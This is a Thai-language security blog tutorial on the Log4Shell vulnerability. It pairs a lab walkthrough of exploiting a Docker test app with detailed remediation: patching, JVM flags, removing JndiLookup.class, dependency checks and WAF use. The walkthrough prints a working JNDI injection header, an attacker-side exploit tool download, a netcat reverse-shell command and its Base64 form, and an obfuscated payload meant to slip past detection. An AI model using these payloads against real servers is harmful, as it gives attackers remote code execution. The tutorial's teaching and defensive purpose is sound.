วิธีแฮก เช็คและปิดช่องโหว่ Log4Shell (CVE-2021–44228)

สรุป (tl;nr)
- ช่องโหว่ Log4Shell กระทบระบบที่พัฒนาด้วย Java ที่ใช้ log4j รุ่น 2.0-beta9 ถึง 2.15.0 ควรทำการปรับปรุงเป็นรุ่น 2.16.0
- ผลของการแฮกคือแฮกเกอร์สามารถเข้าไปยึดเครื่องเซิร์ฟเวอร์ (Remote Code Execution) เพื่อสั่งการคำสั่งระดับระบบปฏิบัติการ (OS Command)
- การแก้ไขนอกจากปรับปรุงรุ่น log4j เองคือ ปรับปรุงรุ่นของระบบจากตัวติดตั้งของผู้พัฒนาซอฟต์แวร์นั้น ๆ หรือลดความเสี่ยงด้วยการรันแอปด้วยออฟชัน ‐Dlog4j2.formatMsgNoLookups=True ในคำสั่ง java
- ระบบความปลอดภัยพื้นฐานเช่น Network Firewall และ Anti Virus ทั่วไปป้องกันช่องโหว่นี้ไม่ได้ จะต้องใช้ระบบป้องกันระดับแอปพลิเคชันเช่น Web Application Firewall (WAF) หรือ NIPS ที่มีการปรับปรุงการตรวจสอบมาเพื่อตรวจสอบช่องโหว่ Log4Shell โดยเฉพาะ แต่อาจจะใช้ตรวจสอบการโจมตีที่สำเร็จ หรือความพยายามในการทดลองโจมตีได้
- ข่าวดีเล็ก ๆ คือ ค่าเริ่มต้นของแอปที่พัฒนาด้วย Java Spring (รวมถึง Spring Boot) จะไม่ได้ใช้ log4j-core ที่มีช่องโหว่ Log4Shell โดยจะใช้ Dependency ชื่อ spring-boot-starter-logging (ใช้ Logback แทน log4j โดยจะดึง log4j-to-slf4j กับ log4j-api แทนซึ่งไม่กระทบช่องโหว่) ดังนั้น Spring จะโดนแฮกได้คือ โปรแกรมเมอร์จะต้องไปแก้ค่าเริ่มต้นนี้ไปเปลี่ยน Dependency เป็น spring-boot-starter-log4j2 ที่ยังจะดึง log4j-core มาใช้ (รวมถึง Java/Scala Framework หลาย ๆ ตัวอย่าง Akka, Lagom, Play ก็ใช้ Logback เป็นค่าเริ่มต้น ไม่ใช่ log4j)
สารบัญ
1. ช่องโหว่ Log4Shell คือ?
2. Apache Log4J คือ?
3. มาลองแฮกกันจริง ๆ
3.1 เตรียม เครื่องเว็บที่มีช่องโหว่ Log4Shell
3.2 เตรียม เครื่องมือแฮกช่องโหว่ Log4Shell
3.3 ลงมือแฮกช่องโหว่ Log4Shell
4. แนวทางการเช็คและปิดช่องโหว่ Log4Shell
4.1 สำหรับแอปพลิเคชันสำเร็จรูป (Off-the-shelf)
4.2 การตั้งค่าเพื่อลดความเสี่ยงเบื้องต้น (Workaround)
4.3 สำหรับแอปพลิเคชันที่พัฒนาขึ้นเอง หรือจ้าง Vendor ภายนอกพัฒนา
4.3.1 ตรวจสอบ Package Dependency ของแอป ว่ามี log4j
4.3.1.1 แอปที่จัดการ Dependency ด้วย Gradle (build.gradle)
4.3.1.2 แอปที่จัดการ Dependency ด้วย Maven (pom.xml)
4.3.2 กรณีที่ไม่มีโค้ดของโปรแกรม build เองไม่ได้
4.3.2.1 หา log4j ใน Linux ผ่าน Bash
4.3.2.2 หา log4j ใน Windows ผ่าน Powershell
4.4 ใช้อุปกรณ์ Security ช่วยในการป้องกัน
4.5 โปรแกรมอื่น ๆ ที่น่าสนใจในการตรวจสอบช่องโหว่ Log4Shell
1. ช่องโหว่ Log4Shell คือ?
ช่องโหว่ ที่ทำให้แฮกเกอร์ สามารถเจาะระบบ เข้ามาแฮกแอปพลิเคชันหลาย ๆ ตัวที่พัฒนาด้วยภาษา Java และมีการรับค่าจากผู้ใช้งาน (User Input) เข้าไปใช้ในฟังก์ชันการบันทึก Log ของ Java Library ชื่อว่า Apache Log4J อาจจะตั้งใจเขียนโค้ดเองเพื่อ Log หรือว่ามี Library อื่น ๆ ที่ไปดึงมาใช้ ทำการ Log ให้โดยเราไม่รู้ตัวก็ได้
ดัง ๆ ที่กระทบเช่น VMware vCenter และแอปที่พัฒนาด้วย Web Framework ตัวท็อปของโลก Java อย่าง Apache Strut และ Spring ก็มีความเสี่ยงจะใช้ log4j
2. Apache Log4J คือ?
ปกติเราเขียนโปรแกรม เรามักจะไม่ได้เขียนโค้ดเองทั้งหมดแต่มีการนำเอา Library ภายนอกมาใช้ร่วมด้วย อย่างในภาษา Java ก็จะมี Library ยอดนิยมชื่อว่า Apache Log4J

เอาไว้สำหรับ บันทึกข้อความลงในไฟล์ Log เช่น เมื่อระบบจะมี ประวัติเก็บไว้ว่ามีผู้ใช้งานคนใด เข้าสู่ระบบบ้าง หรือเกิดข้อผิดพลาด ก็มักจะเขียน (Log) ข้อความรายละเอียดนั้น เก็บไว้เป็น ตัวอย่างเช่น
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
[...]
private static final Logger logger = LogManager.getLogger(log4jTester.class);
[...]
logger.error("User '"+username+"' does not exist.");
จากตัวอย่างโค้ดนี้ ถ้า หากฟังก์ชัน logger.error() ถูกเรียก ข้อความใน Argument ที่มีตัวแปร username ก็จะถูก Log อาจจะแสดงใน Output ของโปรแกรม (Console) หรือเก็บไว้เป็นไฟล์ เช่น error.log ก็ได้
3. มาลองแฮกกันจริง ๆ
สถานการณ์จำลอง:
- เครื่องเว็บที่มีช่องโหว่ log4shell: http://longcat.local:8181/
- เครื่องของแฮกเกอร์: 172.16.223.1
3.1 เตรียม เครื่องเว็บที่มีช่องโหว่ Log4Shell
เริ่มจากเตรียมเว็บที่มีช่องโหว่ Log4Shell ใช้ Docker image จากคุณ christophetd
$ docker run --name vulnerable-app -p 8181:8080 ghcr.io/christophetd/log4shell-vulnerable-app
รันเสร็จจะได้เว็บ เปิดอยู่ที่ http://127.0.0.1:8181/ แต่ของทางผู้เขียนขอเปลี่ยนชื่อเป็น hostname ชื่อ longcat.local ในไฟล์ hosts ดังนี้
File: /etc/hosts
127.0.0.1 localhost longcat.local
มาแอบดูช่องโหว่ในโค้ดกันก่อนลงมือแฮก
File: /main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;@RestController
public class MainController {private static final Logger logger = LogManager.getLogger("HelloWorld");@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}}
ตรงไปตรงมา คือ รับค่าจากผู้ใช้งาน ผ่าน HTTP Request Header ชื่อ X-Api-Version จากนั้นนำมา Log ด้วยฟังก์ชัน logger.info() ผ่านทางตัวแปรชื่อ apiVersion
หมายเหตุ: ในสถานการณ์โจมตีจริง อาจเป็นการรับค่าจากผู้ใช้งานทางใดก็ได้เช่น JSON field ใน HTTP Request Body ปกติหรือ HTTP GET/POST Parameter ทั่วไป
3.2 เตรียม เครื่องมือแฮกช่องโหว่ Log4Shell
คราวนี้กลับมาดูฝั่งเครื่องแฮกเกอร์ (172.16.223.1) กันบ้าง ก็แค่เตรียมการเปิด Service 2 อย่างคือ
- LDAP (TCP/1389) เอาไว้ให้ log4j เชื่อมต่อกลับมา เพื่อไปดาวน์โหลดโค้ดผ่านเว็บ
- Web (TCP/8888) เอาไว้ให้ LDAP ในในข้อแรกมาดาวน์โหลดไฟล์ .class ที่มี ByteCode ของภาษา Java ที่เก็บโค้ดที่เราต้องการจะรันอยู่ข้างใน เช่นถ้าให้รัน Runtime.getRuntime().exec() ก็เท่ากับว่า เราบังคับให้เซิร์ฟเวอร์รันโค้ดระดับระบบปฏิบัติการได้ กลายเป็นผลกระทบ ให้แฮกเกอร์ยึดเครื่องเซิร์ฟเวอร์ได้ (Remote Code Execution) นั่นเอง
ในทางเทคนิคการแฮกนี้มีชื่อเรียกว่า JNDI Injection เพราะว่าตอนแฮกเกอร์ใส่โค้ดโจมตีระบบ (Exploit) เข้าไปในแอปพลิเคชัน จะเรียกผ่าน JNDI (Java Naming and Directory Interface) สรุปง่าย ๆ JNDI มันเป็นฟีเจอร์ของ Java เอาไว้ให้ LDAP ไปทำการค้นหา (Lookup) ชื่อ Class ในโปรแกรมหรือชื่อคนใน Directory Service แต่ถ้าแฮกเกอร์สามารถควบคุมค่าที่ส่งเข้าไปเพื่อเป็นเซิร์ฟเวอร์ที่จะค้นหาได้ จะสามารถรันโค้ดได้นั่นเอง ทีนี้ log4j มันดันมีฟีเจอร์ที่รองรับการค้นหาที่ว่านี้ ก็เลยกลายเป็นช่องโหว่ JNDI Injection ที่ถูกตั้งชื่อว่า log4shell
วิธีการแฮกด้วย JNDI Injection ที่ใช้แฮกช่องโหว่ log4shell
${jndi:ldap://<หมายเลขไอพีแฮกเกอร์>:1389/exploit}
หลังจากเรารู้ทฤษฎีคร่าว ๆ กันแล้ว ต่อไปมาดูวิธีแฮกจริง ๆ แบบจับมือทำกัน
ดาวน์โหลดโค้ดที่ใช้เปิดเซิร์ฟเวอร์ LDAP และเว็บสำหรับทำ JNDI Injection
hacker$ wget https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
hacker$ unzip JNDIExploit.v1.2.zip
hacker$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.223.1 -p 8888
จากนั้นเตรียมคำสั่ง ที่แฮกเกอร์สั่งให้ทำงานหลังจากแฮกสำเร็จ ในตัวอย่างนี้จะทำให้เครื่องเซิร์ฟเวอร์ที่ถูกแฮก เชื่อมต่อและส่ง /bin/sh กลับมา หรือในภาษาแฮก ๆ เราเรียกกันว่า Reverse Shell
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.223.1 4444 >/tmp/f
ในโค้ดโจมตีเราจะใส่เป็นคำสั่งที่ถูก Encode ด้วย Base64 ก่อนก็จะได้ค่าเป็น
cm0gL3RtcC9mO21rbm9kIC90bXAvZiBwO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jIDE3Mi4xNi4yMjMuMSA0NDQ0ID4vdG1wL2Y=
ถึงเวลาแฮกเราก็แค่เปิด TCP Port รอรับการเชื่อมต่อจากเครื่องที่จะถูกแฮกด้วยโปรแกรม netcat (nc)
hacker$ nc -lvp 4444
3.3 ลงมือแฮกช่องโหว่ Log4Shell
จากนั้นส่งคำสั่ง Exploit ที่เป็น JDNI Injection ในส่วนของ HTTP Request Header ชื่อ X-Api-Version ที่เชื่อมต่อกลับมาทาง LDAP ของแฮกเกอร์ (ldap://172.16.223.1:1389) เพื่อดาวน์โหลดโค้ด Java จากเว็บของแฮกเกอร์ (http://172.16.223.1:8888/Exploit[…].class) ไปสั่งให้ทำงานและอ่านค่า Reverse Shell จาก URL ไปสั่งการและเชื่อมต่อกลับมายังเครื่องแฮกเกอร์ (Reverse Shell) ที่เปิดรอไว้ด้วยโปรแกรม netcat (nc)
GET / HTTP/1.1
Host: longcat.local:8181
X-Api-Version: ${jndi:ldap://172.16.223.1:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rbm9kIC90bXAvZiBwO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jIDE3Mi4xNi4yMjMuMSA0NDQ0ID4vdG1wL2Y=}
Connection: close
ส่งคำสั่ง Exploit ด้วยโปรแกรม curl ก็ได้เช่นกัน
hacker$ curl longcat.local:8181 -H 'X-Api-Version: ${jndi:ldap://172.16.223.1:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rbm9kIC90bXAvZiBwO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jIDE3Mi4xNi4yMjMuMSA0NDQ0ID4vdG1wL2Y=}'
เมื่อทำการโจมตีสำเร็จ แฮกเกอร์ก็จะเข้าไปอยู่ในเซิร์ฟเวอร์เหยื่อทันที

4. แนวทางการเช็คและปิดช่องโหว่ Log4Shell
ควรเริ่มจาก ทำหรือตรวจสอบ IT Asset Inventory ก่อนว่าองค์กร มีใช้งานซอฟต์แวร์ใดบ้าง และมีแอปพลิเคชันใดบ้างที่พัฒนาด้วยภาษา Java เขียนออกมาให้หมด (Visibility สำคัญมาก) สำหรับหน่วยงานที่ไม่ได้มีระบบบริหารจัดการช่องโหว่โดยตรง อาจจะทำง่าย ๆ เป็นไฟล์ Excel หน้าตาประมาณนี้ก็ได้ (ตัวอย่าง)

วิธีการแก้ไขช่องโหว่ ที่ปลอดภัยที่สุดคือ การปรับปรุงรุ่น log4j เป็นรุ่น 2.16.0
นอกเหนือจากการปรับปรุงรุ่นแล้ว จะมีกรณีต่าง ๆ ดังนี้
4.1 สำหรับแอปพลิเคชันสำเร็จรูป (Off-the-shelf)
ตรวจสอบว่ามีแอปพลิเคชันสำเร็จรูป (Off-the-shelf) ใดที่ทางบริษัทใช้อยู่ในรายชื่อที่กระบทบกับช่องโหว่ Log4Shell หรือไม่
เช่น VMware Horizon และ VMware vCenter Server
วิธีการแก้ไข
แอปพลิเคชันเหล่านี้ จะมีอยู่ประมาณ 3 ทางเลือกคือ
- ผู้พัฒนาออกรุ่นปรับปรุงความปลอดภัย (Security Patch) มาให้ใช้งาน
- ผู้พัฒนาออกวิธีการตั้งค่าเพื่อลดความเสี่ยงเบื้องต้น (Workaround) ให้นำไปปรับใช้ก่อน ระหว่างรอการออกรุ่นปรับปรุงความปลอดภัย
- ผู้พัฒนาไม่ได้สนับสนุนซอฟต์แวร์รุ่นที่องค์กรใช้งานอยู่แล้ว ด้วยเหตุผลเช่น องค์กรไม่ได้ซื้อการสนับสนุนหลังการขาย, เป็นรุ่นที่ไม่ได้รองรับการออกรุ่นปรับปรุงแล้ว (End-of-life), หรือไม่ตรงตามเงื่อนของผู้พัฒนา ที่จะได้รับรุ่นปรับปรุงความปลอดภัย ดังนั้นองค์กร อาจจะต้อง เข้าไปหาทางแก้ไขเอง ! ทางเลือกนี้ เป็นสิ่งทางเลือกท้าย ๆ ที่ผู้เขียนอยากให้เกิดขึ้น 55
โดยสามารถเข้าไปดูรายชื่อซอฟต์แวร์ต่าง ๆ ที่ผู้พัฒนามีการประกาศว่าตนเองกระทบต่อช่องโหว่ Log4Shell หรือเปล่าได้ที่แต่ละเว็บไซต์ของซอฟต์แวร์ที่ใช้
หรือเข้าไปดูในรายชื่อที่มีคนรวบรวมไว้แล้วให้บางส่วน เช่น
- https://github.com/cisagov/log4j-affected-db
- https://github.com/NCSC-NL/log4shell/tree/main/software
- https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

4.2 การตั้งค่าเพื่อลดความเสี่ยงเบื้องต้น (Workaround)
ถ้าหากการแก้ไขโค้ดโปรแกรม ในแอปพลิเคชันหรือการ build แอปพลิเคชันใหม่ ทำได้ยาก แต่ทางเจ้าของระบบมีสิทธิ์สามารถที่จะแก้ไขการตั้งค่า และ ปิด-เปิด แอปพลิเคชันนั้นใหม่เองได้นั้น
ทาง LunaSec ก็ได้แนะนำวิธีการตั้งค่าเพื่อลดความเสี่ยงเบื้องต้น (Workaround) ด้วยการกำหนดออฟชันชื่อว่า formatMsgNoLookups ตอนที่รันคำสั่ง java เพื่อเปิดแอปพลิเคชันขึ้นมา
วิธีการแก้ไข
ตัวอย่างเช่นจากเดิมเรารันหรือมีสคริปท์ที่รัน แอปพลิเคชันด้วยคำสั่ง
$ java -jar myapp.jar
เราก็แค่ใส่ออฟชันนี้เพิ่มเข้าไป กลายเป็น
$ java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
รวมถึงใช้คำสั่งต่อไปนี้ลบไฟล์ Class ชื่อ JndiLookup ออกจาก classpath ของไฟล์ Java Library ชื่อ log4j-core-*.jar ที่พบในระบบ
$ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
ก็จะช่วยลดความเสี่ยงจากการโจมตีช่องโหว่ Log4Shell ในเงื่อนไขและท่าแฮกส่วนมากที่มีการเปิดเผย ณ ตอนนี้ได้ โดยไม่ต้องแก้ไขโค้ด หรือปรับปรุงรุ่นใหม่
บางแอปพลิเคชันอาจจะมีไฟล์การตั้งค่า สำหรับการใส่ออฟชัน Java เช่น jvm.options หรือไฟล์ที่ใช้ในการใส่ออฟชันของ log4j เช่น log4j2.properties ก็สามารถเข้าไปใส่ออฟชันของ Workaround ได้ในไฟล์เหล่านั้นแทนเช่นกัน
4.3 สำหรับแอปพลิเคชันที่พัฒนาขึ้นเอง หรือจ้าง Vendor ภายนอกพัฒนา
ถ้าหากแอปพลิเคชันขององค์กร ที่พัฒนาด้วย Java จะมีความเสี่ยงที่มีการใช้งาน log4j และมีช่องโหว่ Log4Shell สามารถตรวจสอบได้เบื้องต้นด้วยวิธีการดังนี้
4.3.1 ตรวจสอบ Package Dependency ของแอป ว่ามี log4j
ในกรณีที่เรามีโค้ดของแอปพลิเคชัน จะแบ่งออกเป็น 2 ท่าหลัก ๆ คือ
- แอปที่จัดการ Dependency ด้วย Gradle (build.gradle)
- แอปที่จัดการ Dependency ด้วย Maven (pom.xml)
4.3.1.1 แอปที่จัดการ Dependency ด้วย Gradle (build.gradle)
สำหรับ Gradle เราสามารถที่จะใช้คำสั่งต่อไปนี้ในการตรวจสอบว่าแอปพลิเคชันมีการเรียก log4j ในรุ่นที่มีช่องโหว่ ( 2.0–2.15.0) มาใช้หรือเปล่าดังนี้
$ ./gradlew dependencies
[...]
+--- org.springframework.boot:spring-boot-starter-log4j2:2.6.1
| +--- org.apache.logging.log4j:log4j-slf4j-impl:2.14.1
| | +--- org.slf4j:slf4j-api:1.7.25 -> 1.7.32
| | +--- org.apache.logging.log4j:log4j-api:2.14.1
| | \--- org.apache.logging.log4j:log4j-core:2.14.1
| | \--- org.apache.logging.log4j:log4j-api:2.14.1
| +--- org.apache.logging.log4j:log4j-core:2.14.1 (*)[...]
$ ./gradlew dependencyInsight --dependency log4j-core
[...]
org.apache.logging.log4j:log4j-core:2.14.1
\--- org.springframework.boot:spring-boot-starter-log4j2:2.6.1
\--- compileClasspath
จากตัวอย่างนี้ จะพบว่า โค้ดของแอปพลิเคชัน ที่พัฒนาด้วย Java Spring ที่ถูกตรวจสอบมีการเรียกใช้งาน Java Library ชื่อ log4j-core รุ่น 2.14.1 แสดงว่ามีช่องโหว่ Log4Shell นั่นเอง
วิธีการแก้ไข
ความท้าทายของการจัดการ Dependency มีอยู่ว่า ถ้าเราเปิด build.gradle ขึ้นมาตรวจสอบเรา อาจจะไม่พบกับ log4j-core ให้เราทำการแก้ไขรุ่น โดยตรง แต่ว่าเราจะไปเจอกับ Dependency ตัวหลัก ที่เราเรียกใช้ ซึ่ง ตัวหลักที่ว่านั้นมันไปดึง log4j-core มาใช้ต่ออีกทอด หรืออีกหลาย ๆ ทอด
จากในตัวอย่างด้านบนจะพบว่า Dependency จริง ๆ ที่เราดึงมาใช้คือ spring-boot-starter-log4j2 รุ่น 2.6.1
File: build.gradle
dependencies {
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
}
implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1'
ดังนั้นวิธีการแก้ไข คือจะต้องไปตรวจสอบว่า Dependency หลักที่ดึง log4j-core มาใช้นั้น ต้องปรับปรุงรุ่น เป็นรุ่นอะไร เพื่อที่จะแก้ไขช่องโหว่ log4shell
นอกจากนั้นยังมีวิธีการอื่น ๆ เช่นการกำหนดเลขรุ่น ของ log4j-core มาใช้แทนดังตัวอย่างนี้
File: build.gradle
configurations.all {
resolutionStrategy.eachDependency { DependencyResolveDetails details ->
if (details.requested.group == 'org.apache.logging.log4j') {
details.useVersion '2.16.0'
}
}
}
จากนั้นเมื่อเรา build แล้วตรวจสอบ Dependency ใหม่อีกครั้ง
$ ./gradlew build --refresh-dependencies
$ ./gradlew dependencyInsight --dependency log4j-core> Task :dependencyInsight
org.apache.logging.log4j:log4j-core:2.16.0 (selected by rule)
[...]
org.apache.logging.log4j:log4j-core:2.14.1 -> 2.16.0
\--- org.springframework.boot:spring-boot-starter-log4j2:2.6.1
\--- compileClasspath
จะพบว่า log4j ถูกปรับปรุงรุ่นเป็น 2.16.0 เรียบร้อยแล้ว
ข่าวดีเล็ก ๆ คือ ค่าเริ่มต้นของแอปที่พัฒนาด้วย Java Spring (รวมถึง Spring Boot) จะไม่ได้ใช้ log4j-core ที่มีช่องโหว่ Log4Shell โดยจะใช้ Dependency ชื่อ spring-boot-starter-logging (ใช้ Logback แทน log4j โดยจะดึง log4j-to-slf4j กับ log4j-api แทนซึ่งไม่กระทบช่องโหว่) ดังนั้น Spring จะโดนแฮกได้คือ โปรแกรมเมอร์จะต้องไปแก้ค่าเริ่มต้นนี้ไปเปลี่ยน Dependency เป็น spring-boot-starter-log4j2 ที่ยังจะดึง log4j-core มาใช้ (รวมถึง Java/Scala Framework หลาย ๆ ตัวอย่าง Akka, Lagom, Play ก็ใช้ Logback เป็นค่าเริ่มต้น ไม่ใช่ log4j) แต่ก็มีบทความและคู่มือในอินเทอร์เน็ตค่อนข้างเยอะที่แนะนำให้โปรแกรมเมอร์ไปใช้ log4j แทน Logback เพราะเคลมว่าเร็วกว่า 10 เท่า
4.3.1.2 แอปที่จัดการ Dependency ด้วย Maven (pom.xml)
สำหรับ Maven เราสามารถที่จะใช้คำสั่งต่อไปนี้ในการตรวจสอบว่าแอปพลิเคชันมีการเรียก log4j ในรุ่นที่มีช่องโหว่ ( 2.0–2.15.0) มาใช้หรือเปล่าดังนี้
$ ./mvnw dependency:list |grep log4j
[INFO] org.springframework.boot:spring-boot-starter-log4j2:jar:2.5.6:compile -- module spring.boot.starter.log4j2 [auto]
[INFO] org.apache.logging.log4j:log4j-slf4j-impl:jar:2.14.1:compile -- module org.apache.logging.log4j.slf4j [auto]
[INFO] org.apache.logging.log4j:log4j-api:jar:2.14.1:compile -- module org.apache.logging.log4j
[INFO] org.apache.logging.log4j:log4j-core:jar:2.14.1:compile -- module org.apache.logging.log4j.core [auto]
[INFO] org.apache.logging.log4j:log4j-jul:jar:2.14.1:compile -- module org.apache.logging.log4j.jul [auto]
จากตัวอย่างคำสั่งด้านบน จะเห็นว่ามีการเรียกใช้ log4j-core รุ่น 2.14.1 ที่มีช่องโหว่ Log4Shell นั่นเอง
วิธีการแก้ไข
คล้ายกันกับกรณีของ Gradle คือการไประบุบังคับรุ่นว่าให้ Dependency ของ log4j-core ที่ดึงมาใช้อันเป็นรุ่นที่แก้ไขช่องโหว่เรียบร้อยแล้ว (2.16.0)
File: pom.xml
<properties>
[...]
<log4j2.version>2.16.0</log4j2.version>
</properties>
จากนั้นทำการ build แอปพลิเคชันและตรวจสอบรุ่น log4j อีกครั้ง
$ ./mvnw dependency:list |grep log4j
[...]
[INFO] org.springframework.boot:spring-boot-starter-log4j2:jar:2.5.6:compile -- module spring.boot.starter.log4j2 [auto]
[INFO] org.apache.logging.log4j:log4j-slf4j-impl:jar:2.16.0:compile -- module org.apache.logging.log4j.slf4j [auto]
[INFO] org.apache.logging.log4j:log4j-api:jar:2.16.0:compile -- module org.apache.logging.log4j
[INFO] org.apache.logging.log4j:log4j-core:jar:2.16.0:compile -- module org.apache.logging.log4j.core [auto]
[INFO] org.apache.logging.log4j:log4j-jul:jar:2.16.0:compile -- module org.apache.logging.log4j.jul [auto]
จะพบว่า มีการแก้ไขช่องโหว่ ปรับปรุง log4j-core เป็นรุ่น 2.16.0 เรียบร้อยแล้ว
4.3.2 กรณีที่ไม่มีโค้ดของโปรแกรม build เองไม่ได้
สามารถใช้คำสั่งหาไฟล์ที่เกี่ยวข้องกับ log4j บนเซิร์ฟเวอร์เช่น
4.3.2.1 หา log4j ใน Linux ผ่าน Bash
ตัวอย่างนี้จะเป็นการเน้นหาไฟล์ .jar ที่มีชื่อประกอบด้วยคำว่า log4j ซึ่งสามารถนำมาแกะ (unzip) แล้วตรวจสอบไฟล์ชื่อ META-INF/MANIFEST.MF เพื่อดูเลขรุ่นได้
$ find / -iname "log4j*"
$ ps aux | egrep '[l]og4j'
$ lsof | grep log4j
$ find / | grep log4j | grep .jar | xargs -I {} sh -c 'echo {} && unzip -p {} META-INF/MANIFEST.MF | grep Implementation-Version:'
4.3.2.2 หา log4j ใน Windows ผ่าน Powershell
ตัวอย่างนี้จะเป็นการหาไฟล์ .jar ที่มี Java Class ชื่อ JndiLookup ซึ่งจะเป็นของ log4j-core ที่เป็นที่เก็บฟังก์ชันที่เป็นสาเหตุหลัก ของการถูกโจมตีด้วย JNDI Injection
C:\> gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path C:\> Get-ChildItem -Path "C:\" -File "*.jar" -Recurse -ErrorAction SilentlyContinue | foreach {select-string "JndiLookup.class" $_} | select -exp Path
ถ้าหากพบแล้ว แนะนำให้ทำตามวิธีการแก้ไข ในข้อ 4.2 (Workaround) คือ การแงะเอา JndiLookup.class ทิ้งออกจากไฟล์ log4j-core และรันแอปพลิเคชันด้วยออฟชัน formatMsgNoLookups ใหม่เป็นค่า true
$ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
$ java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
4.4 ใช้อุปกรณ์ Security ช่วยในการป้องกัน
ถ้าหาก แอปพลิเคชันและระบบขององค์กร รองรับการติดตั้งให้ป้องกันด้วยระบบ WAF (Web Application Firewall) หรือ NIPS (Network Intrusion Protection System) ได้ โดยเฉพาะอย่างยิ่งแอปพลิเคชันที่สามารถเข้าถึงได้จากอินเทอร์เน็ต

ผู้ให้บริการ WAF ได้มีการออกรุ่นปรับปรุงเพื่อลดความเสี่ยงของช่องโหว่ Log4Shell กันเป็นจำนวนมากแล้ว
ตัวอย่างเช่น

แต่จะต้องย้ำว่าการป้องกันโดยอุปกรณ์ Security นั้นเป็นเพียงการช่วยลดความเสี่ยงที่จะถูกโจมตีสำเร็จเท่านั้น ยังมีโอกาสที่แฮกเกอร์จะหาวิธีการมาข้ามผ่านเงื่อนไขการตรวจสอบของอุปกรณ์เหล่านี้ได้ หรือถ้าหากระบบถูกเข้าถึงโดยไม่ผ่านอุปกรณ์เหล่านี้ การป้องกันที่ถูกตั้งค่าไว้ก็อาจไม่ได้ป้องกันการโจมตีได้จริง ๆ ดังนั้นท่าที่ 4.4 นี้ควรใช้เป็นเพียงวิธีการประกอบกับวิธีการแก้ไขอื่น ๆ อย่างการปรับปรุงรุ่นของ log4j นั่นเอง
ทางผู้เขียนไม่แนะนำให้ใช้พัฒนา Pattern การตรวจจับการโจมตีไปใส่ในอุปกรณ์ใช้เอง เพราะมีโอกาสที่ Pattern ที่ผู้อ่านสร้างขึ้นเอง อาจไม่ครอบคลุมในกรณีที่แฮกเกอร์สามารถทดสอบโจมตีได้ หรือไม่ครอบคลุมเท่าของทางผู้ให้บริการอุปกรณ์ Security ต่าง ๆ
ตัวอย่าง Attack Payload ที่มีการ ปรับแต่งมาให้อาจข้ามผ่านการตรวจจับได้
${${env:FOO:-j}ndi:${lower:L}da${lower:P}://1.3.3.7:1389/}
เมื่อถูกประมวลผลจะมีค่าเทียบเท่ากับ
${jndi:ldap://1.3.3.7:1389/}
นอกเหนือจากนั้นสิ่งที่องค์กรสามารถทำได้อีกก็คือ
การตรวจสอบว่ามี Network Traffic ขาออก (Egress) เชื่อมต่อออกไปยัง Protocol LDAP หรือ RMI ที่ปลายทางที่ไม่น่าเชื่อถือหรือเปล่า ถ้าหากมีอาจจะเป็นการโจมตีที่สำเร็จของแฮกเกอร์ที่เจาะช่องโหว่ Log4Shell ได้ รวมถึง Protocol DNS ที่มักจะถูกใช้ในการตรวจสอบเบื้องต้น (Probe) ก่อนว่าระบบมีช่องโหว่ log4j ก่อนจะทำขั้นตอนการโจมตีจริง ๆ
4.5 โปรแกรมอื่น ๆ ที่น่าสนใจในการตรวจสอบช่องโหว่ Log4Shell
นอกจากวิธีที่ทางผู้เขียนรวบรวมและทดสอบมาในบทความนี้แล้วก็จะมีโปรแกรมอื่น ๆ ที่สามารถใช้ในการตรวจสอบได้อยู่ โดยมีการรวบรวมไว้ที่ ลิงก์ด้านล่างนี้
แต่ข้อสังเกต ที่ผู้อ่านควรระวังเป็นอย่างยิ่งกับการใช้โปรแกรมใด ๆ เพิ่มเติมในการตรวจสอบช่องโหว่ Log4Shell ก็คือ
- บางโปรแกรม จะตรวจสอบในลักษณะการลองส่งค่าผ่านเว็บ (HTTP Request) ในตำแหน่งที่น่าจะมีช่องโหว่อย่าง HTTP Request Header ชื่อ User-Agent แต่ถ้าหากแอปพลิเคชันที่เราตรวจสอบนั้นมีช่องโหว่ log4j แต่นำค่ามาจากฟังก์ชันของ API ในส่วนอื่น ๆ แทน จะทำให้ผลการตรวจสอบนั้นอาจไม่ถูกต้องและไม่สามารถนำไปอ้างอิงได้
- บางโปรแกรม จะตรวจสอบในโค้ดหรือในโฟลเดอร์เก็บ .jar โดยอาจไม่ได้ทำการ build ก่อน ดังนั้นอาจทำให้ ไม่พบช่องโหว่ log4j ที่อยู่ใน Dependency ที่จำเป็นต้อง build ก่อนถึงจะแสดงออกมาให้เห็น จะทำให้ผลการตรวจสอบนั้นอาจไม่ถูกต้องและไม่สามารถนำไปอ้างอิงได้
- บางโปรแกรม ตรวจสอบโดยอ้างอิงจากชื่อไฟล์หรือค่า Checksum ของไฟล์ แต่ log4j นั้น อาจมีการถูกเปลี่ยนชื่อไฟล์ หรือมีรุ่นเดียวกันที่ Checksum ไม่ตรงกัน ที่เกิดจากการ build เอง จะทำให้ผลการตรวจสอบนั้นอาจไม่ถูกต้องและไม่สามารถนำไปอ้างอิงได้
ข้อสังเกตอื่น ๆ
- ถ้าแอปพลิเคชัน ไม่ได้พัฒนาด้วย Java จะไม่กระทบจากช่องโหว่ก็จริง
